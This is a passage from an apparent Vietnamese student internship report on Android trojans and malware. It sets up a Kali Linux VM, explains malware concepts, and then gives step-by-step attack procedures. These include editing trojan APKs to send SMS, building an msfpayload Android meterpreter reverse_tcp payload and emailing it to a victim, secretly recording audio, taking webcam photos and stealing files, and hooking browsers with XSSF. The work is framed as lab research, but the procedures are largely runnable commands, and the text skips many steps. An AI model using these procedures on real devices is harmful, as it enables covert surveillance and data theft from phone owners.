CÀI ĐẶT MÁY ẢO KALI LINUX

Một phần của tài liệu Báo cáo thực tập nghiên cứu trojan, malware cho phép ĐCDL trên điện thoại android (Trang 32)

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế

để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Kali Linux phát

triển trên nền tảng hệ điều hành Debian, khả năng tương thích với kiến trúc ARM được cải tiến, nó hỗ trợ mạng không dây tốt hơn, có khả năng tùy biến cao và dễ dàng nâng cấp giữa các phiên bản Kali trong trương lai.

 Rất cần thiết có được máy tính chạy hệ điều hành Kali Linux để hỗ trợ việc xâm nhập, khai thác các thiết bị chạy Android. Do đó ta sẽ thực hiện việc tạo máy ảo Kali Linux trên phần mềm VMware workstation.

1. Chuẩn bị:

- Máy tính được cài đặt phầm mềm VMware workstation. Ở đây ta sẽ dùng

VMware workstation 10.0.0

- Download file ISO hệ điều hành Kali Linux 64 bit phiên bản 1.0.7 trên link www.kali.org/downloads

2. Tiến trình:

Bước 1: Khởi động VMware. Vào File > New Virtual Machine… (hoặc

Ctrl+N)

Bước 2: Chọn Type là Custom (advanced) > Next

Bước 4: Chọn hệ thống là Linux, Version là Debian 7 64-bit > Next

Bước 6: Cấu hình bộ xử lý là mặc định > Next

Bước 7: Chọn bộ nhớ RAM là 512MB > Next. Lưu ý là phải phù hợp với máy thật)

Bước 8: Chọn loại Network là Bridged networking > Next

Bước 9: Cấp phát ổ đĩa cho máy ảo. Ta cấp phát Maximum là 15GB. Chọn

Bước 10: Ta sẽ trỏ file ISO vào máy ảo vừa tạo. Click chuột phải vào tên máy ảo Debian 7 64 > Settings

Trỏ dòng CD/DVD (IDE) > phần Connection > Use ISO image file >

Ta dẫn đến file Kali Linux 64 bit.ISO

Bước 12: Ta chọn Language, Location, Keyboard > Continue

Bước 13: Sau đó ta phải cấu hình Network > đặt Hostname > đặt Domain name > Continue

Bước 14: Tạo Users namePassword > Continue. Bước nay khá quan trọng,

Bước 15: Cấu hình Clock > Next

Bước 16: Phân vùng ổ đĩa > ta để mặc định Guided – use entire disk >

Continue

Khi xuất hiện yêu cầu Write the changes to disk? > chọn Yes > Continue

Bước 17: Cấu hình Package manager > Xuất hiện yêu cầu Use the network mirror? > chọn No > Continue

Bước 18: Cài đặt GRUB boot loader > Install the GRUB boot loader to the master boot record? > chọn Yes > Continue

Bước 19: Ta đợi tiến trình cài đặt hoàn tất > Finish the Installation > Continue

Bước 20: Sau khi hoàn tất, máy ảo Debian 7 64 sẽ tự khởi động. Ta đăng nhập với UserrootPassword đã đặt.

Android có ít lỗ hổng bảo mật nhưng lại hứng chịu nhiều mối đe dọa bảo mật nhất trong số các hệ điều hành di động.

- Theo báo cáo quý II/2013 của Trend Micro chỉ ra rằng Việt Nam là Quốc Gia

đứng thứ 3 thế giới trong việc tải về các phần mềm độc hại trên ứng dụng Android. Và là quốc gia thứ 2 về mức độ rủi ro gặp phải về thông tin riêng tư trên thiết bị di động.

- Mới đây nhất, vào tháng 7/2014, công ty bảo mật Bluebox Labs cho biết lỗ

hổng có tên Fake ID cho phép ứng dụng độc hại có thể giả danh các ứng dụng "chính

hãng" từ các nhà phát triển đáng tin cậy. Ngay sau khi thông tin về Fake ID xuất hiện, Google đưa ra tuyên bố đã vá lỗ hổng này từ tháng 4 vừa qua.

- Do bản vá của Google được thực hiện trên 4.4 KitKat, tất cả những người dùng

sử dụng các phiên bản từ 2.1 đến 4.4 (cập nhật trước tháng 4) sẽ bị Fake ID đe dọa.

Điều này cũng có nghĩa rằng có tới hơn 82% người dùng Android bị Fake ID đe dọa.

2. Khái niệm và phân loại lỗ hổng bảo mật trên Android:

2.1. Khái niệm lỗ hổng bảo mật:

- Tất cả những đặc tính của phần mềm hoặc phần cứng cho phép người dùng không hợp lệ, có thể truy cập hay tăng quyền không cần xác thực.

- Tổng quát, lỗ hổng là những phương tiện đối phương có thể lợi dụng để xâm nhập vào hệ thống.

- Lỗ hổng cho phép những người không được ủy quyền có thể xâm nhập từ xa không xác thực.

2.3. Một số lỗ hổng bảo mật phổ biến:

- Lỗ hổng bảo mật “Master key” - là lỗi khóa bảo mật.

- Lỗ hổng bảo mật khi kết nối WI-FI.

- Lỗ hổng bảo mật Heartbleed.

- Lỗ hổng bảo mật Fake ID.

3. Nghiên cứu Malware, Trojan và cơ chế tạo mã độc trên Android:

3.1. Khái niệm Malware, Trojan:

- Malware - Malicious Sofware có nghĩa là bất kỳ phần mềm máy tính độc hại nào đó được tạo nên với ý định xâm nhập làm hại máy tính, thu thập thông tin, truy

cập dữ liệu nhạy cảm… mà người sử dụng không hề hay biết. Malware bao gồm virus,

worm, trojan horse, adware, spyware, keyloger, backdoor, rootkit

- Trojan - Trojan Horse gọi là phần mềm gián điệp. Nó là một chương trình phần mềm độc hại mà không cố gắng để tự tái tạo, thay vào đó nó sẽ được cài đặt vào hệ thống của người dùng bằng cách giả vờ là một chương trình phần mềm hợp pháp.

- Hiện nay, malware chỉ xâm nhập vào máy tính và đánh cắp thông tin người

dùng, nó chưa có cơ chế lây lan. Cách thức hoạt động của malware giống như trojan

chứ không như virus phá hủy.

- Đơn giản là malwaretrojan giúp tin tặc truy cập vào máy người dùng, điều

khiển từ xa, thu thập thông tin người dùng…

3.2. Cơ chế hoạt động của Malware:

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là

Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng

dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root

vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.

- Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt

cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các

thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

3.3. Cơ chế hoạt động của Trojan:

- Trojan có nhiều loại nhưng phổ biến là 2 loại: Trojan dùng để điều khiển và Trojan dùng để đánh cắp mật khẩu.

- Bước đầu cơ chế hoạt động của cả 2 loại này là giống nhau. Máy tính sẽ bị nhiễm trojan qua tập tin đính kèm của thư điện tử, chương trình trò chơi, chương trình nào đó mà bạn vô tình chạy thử. Nó sẽ tự sao chép vào nơi nào đó trong máy tính. Sau đó nó bắt đầu ghi vào registry của máy các thông số đề nó có thễ tự động khởi chạy khi máy tính khởi động.

- Tiếp theo, đối với trojan điều khiển nó sẽ cho phép tin tặc từ xa nắm quyền điều

khiển máy tính. Còn đối với trojan đánh cắp mật khẩu, nó lưu mật khẩu của người dùng vào 1 file và tự động gửi mail đến tin tặc khi máy tính kết nối mạng.

V. CÀI ĐẶT VÀO THIẾT BỊ ANDROID TROJAN ỨNG DỤNG iCALENDAR VÀ TROJAN ỨNG DỤNG iMATCH

Những tác vụ gây ảnh hưởng cho các ứng dụng khác, hệ điều hành, và người sử dụng thiết bị đều được bảo vệ bởi cơ chế Permission, ví dụ như gửi tin nhắn, truy cập vào thông tin cá nhân,.... Nói cách khác những người lập trình sẽ khai báo Permission cho những nguồn tài nguyên mà ứng dụng sẽ truy cập hay sử dụng. Những Permission này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.

1. Các Tools cần thiết để cài đặt:

- Máy ảo Android ADV trên phần mềm Eclipse

- Ứng dụng iCalendar.apk và iMatch.apk

- Tải phần mềm Super Apktool v2.1 tại link:

http://mobilelife.vn/resources/super-apk-tool-v2-0-cong-cu-chinh-sua-apk-bang- giao-dien-cuc-manh.12/

2. Tải về và xem source code của các ứng dụng *.apk:

Bước 1:

- Dùng phần mềm Dex2Jar để chuyển đổi file *.dex thành file *.jar

- Tiếp theo xem source code của ứng dụng*.apk bằng phần mềm Jd-gui

Bước 2: Sau khi tải ứng dụng định dạng *.apk về. Ta giải nén bằng phần mềm

WinRAR. Sau đó copy file classes.dex của ứng dụng vào thư mục chứa phần

mềm Dex2Jar

Bước 3: Mở command trong Window lên.

Di chuyển đến thư mục phần mềm Dex2Jar bằng lệnh cd

Bước 4: Chuyển đổi file bằng lệnh “dex2jar <tên file>

Bước 5: Dùng Jd-gui mở file classes_dex2jar.jar vừa được tạo để xem source code của ứng dụng

- Lưu ý là chúng ta chỉ có thể xem nhưng không chỉnh sửa được.

3. Cài đặt Trojan ứng dụng iCalendar.apk:

 Thực hiện cài đặt Trojan ứng dụng iCalendar vào máy ảo Android 5554, sau

đó tự động gửi tin nhắn đến máy ảo Android 5556. Ứng dụng iMatch cho phép gửi đi 1 tin nhắn.

Ở ô Device > Ta chọn máy mà ta muốn cài đặt trojan iCalendar.apk

Bước 3:Project > New Project

Bước 5: View > View Smali Code: Cho phép chỉnh sửa code của ứng dụng

Bước 6: Chỉnh sửa code của 2 file iCalendar.smaliSmsReceiver.smali

- File iCalendar.smali, sửa code ở line 252 (số điện thoại của máy ta muốn gửi

- File SmsReceiver.smali, ta sửa code ở line 41 thành số điện thoại mà máy

mình muốn gửi đến, giống như ở iCalendar.smali

- Sau khi sửa code, ta phải Save lại 2 file trên.

Bước 7: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iCalendar.apk vào 1 máy ảo Android và gửi tin nhắn tự động đến máy ảo Android khác.

- Giả sử nạn nhân trên click vào xem ứng dụng iCalendar này vài lần. Kết quả nhận được ở máy Android có số điện thoại 5556 (bị gửi tin nhắn tự động)

4. Cài đặt Trojan ứng dụng iMatch.apk:

 Thực hiện cài đặt Trojan ứng dụng iMatch vào máy ảo Android 5558, sau đó tự động gửi tin nhắn đến 2 máy ảo Android 5556 và Android 5554. Ứng dụng iMatch cho phép gửi cùng lúc 4 tin nhắn.

Bước 1:Khởi động 3 máy ảo > Tạo project mới > Trỏ đến file iMatch.apk > Đợi ứng dụng được giải nén > View > View Smali Code (tương tự như thao tác với iCalendar.apk)

Bước 2: Sửa code của file MJUtils.smali

Bước 4: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iMatch.apk và gửi tin nhắn tự động.

- Kết quả ta nhận được ở máy Android có số điện thoại 5558 (bị cài đặt trojan iMatch.apk)

- Kết quả nhận được ở máy Android 5556 và Android 5554 (bị gửi tin nhắn tự động)

VI. TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT BỊ ANDROID ANDROID

1. Các công cụ cần thiết:

Để thực hiện tạo mã độc và tấn công vào thiết bị Android ta cần chuẩn bị:

- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng

VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).

- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo

tablet chạy Android 4.3.

- Cả 2 thiết bị đều có thể kết nối mạng.

- Có tài khoản email để gửi và nhận file trên cả 2 thiết bị.

2. Tiến trình:

Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.

Tại VMnet0 > Chọn TypeBridged > Chọn card mạng của máy thật

ở ô Bridged to.

Bước 4: Tạo 1 file chứa mã độc và gửi cho thiết bị Android. Ở đây ta tạo file ứng dụng *.apk và gửi qua email.

Nhập lệnh: “msfpayload android/meterpreter/reverse_tcp

lhost=<địa chỉ IP máy tấn công> lport=<địa chỉ port> R > <địa chỉ lưu lại> / <tên file>

Ví dụ lệnh là: msfpayload android/meterpreter/reverse_tcp

lhost=192.168.149.136 lport=8080 R > /root/Desktop/appsX.apk.

- Tạo ứng dụng ReverseTCP có trên file là appsX.apk.

- Địa chỉ IP máy tấn công là 192.168.149.136.

- Địa chỉ Port là 8080 (Lưu ý tránh sử dụng các port thông dụng từ 0 đến 1023).

- Lưu file tại Desktop.

Bước 5: Khởi động ứng dụng Metasploit trên máy tấn công Kali bằng lệnh: “msfconsole

Bước 7: Thực hiện lệnh “exploit” để bắt đầu quá trình tấn công.

Bước 8: Tại thiết bị Android, sau khi tải về và cài đặt file appsX.apk, ta được

Khi đó trên Kali ta nhận được thông báo có thiết bị truy cập vào làm nạn nhân.

2.1. Khai thác thông tin hê thống:

File ghi âm được là xLijsRbg.wav lưu tự động ở /root của máy Kali.

2.3. Khai thác webcam và chụp ảnh lén:

Kiểm tra danh sách webcam của thiết bị nạn nhân Android và thực hiện chụp

ảnh lén, lưu về máy tấn công Kali bằng lệnh “webcam_list” và “webcam_snap <mã

2.4. Khai thác file hệ thống của máy nạn nhân:

Di chuyển vào bộ nhớ SDCARD bằng lệnh “cd /sdcard”.

Dùng lệnh “ls” để liệt kê danh sách các thư mục/tập tin có trong SDCARD.

Xem các tập tin mà máy nạn nhân đã tải về qua lệnh di chuyển thư muc “cd

Download” và lệnh liệt kê “ls”.

Đánh cắp và tải về tập tin bất kì bằng lệnh “download <tên tập tin>”.

Ở đây dùng lệnh “download appsX.apk”.

Tập tin appsX.apk vừa đánh cắp về được lưu tự động trong /root của máy tấn

công Kali.

2.6. Kết thúc tấn công:

tablet chạy Android 4.3.

- Cả 2 thiết bị đều có thể kết nối mạng.

- Có tài khoản email để gửi và nhận thông tin liên kết trên cả 2 thiết bị.

2. Tiến trình:

Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.

Bước 2: Ở máy Kali > Mở Terminal > thực hiện 3 lệnh sau để cập nhật Framework

msfupdate

cd /opt/metasploit/apps/pro/msf3

Bước 5: Thực hiện lệnh “xssf_urls

Ta nhận được các urls (đường dẫn web http) như của XSSF Server, XSSF test page, XSSF logs page

Bước 6: Cho máy nạn nhân truy cập vào đường dẫn XSSF test page:

Ta nhận được thông báo trên máy tấn công Kali:

2.1. Kiểm tra số lượng nạn nhân đang truy cập vào đường dẫn mã độc:

Ta dùng lệnh “xssf_victims” để kiểm tra số lượng nạn nhân truy cập vào đường

dẫn mã độc http://192.168.149.136:80/xssf/test.html

2.2. Xem thông tin về nạn nhân đang truy cập:

Dùng lệnh “xssf_information <ID máy nạn nhân>” Ở đây ví dụ là “xssf_information 1

2.3. Khai thác dữ liệu từ máy nạn nhân:

 Đầu tiên ta dùng lệnh “search auxiliary/xssf” để kiểm tra các quyền mà ta

Một phần của tài liệu Báo cáo thực tập nghiên cứu trojan, malware cho phép ĐCDL trên điện thoại android (Trang 32)

Tải bản đầy đủ (PDF)

(81 trang)